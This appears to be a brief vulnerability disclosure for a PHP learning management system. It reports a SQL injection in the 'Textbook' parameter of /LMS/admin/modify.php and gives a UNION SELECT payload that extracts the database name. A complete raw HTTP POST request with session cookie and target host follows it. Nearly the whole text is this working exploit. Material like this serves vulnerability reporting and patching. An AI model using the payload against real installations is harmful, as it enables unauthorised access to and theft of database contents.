The program is built using the xmapp-php8.1 version
Vulnerability File: /LMS/admin/modify.php
Vulnerability location: /LMS/admin/modify.php, Textbook
[+] Payload: submit=&Textbook=1'+union+select+1,2,3,database(),5,6,7,8,9,10--+ // Leak place ---> Textbook
POST /LMS/admin/modify.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=7v8p4p3goshl3b4fkncu3bh9ui
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
submit=&Textbook=1'+union+select+1,2,3,database(),5,6,7,8,9,10--+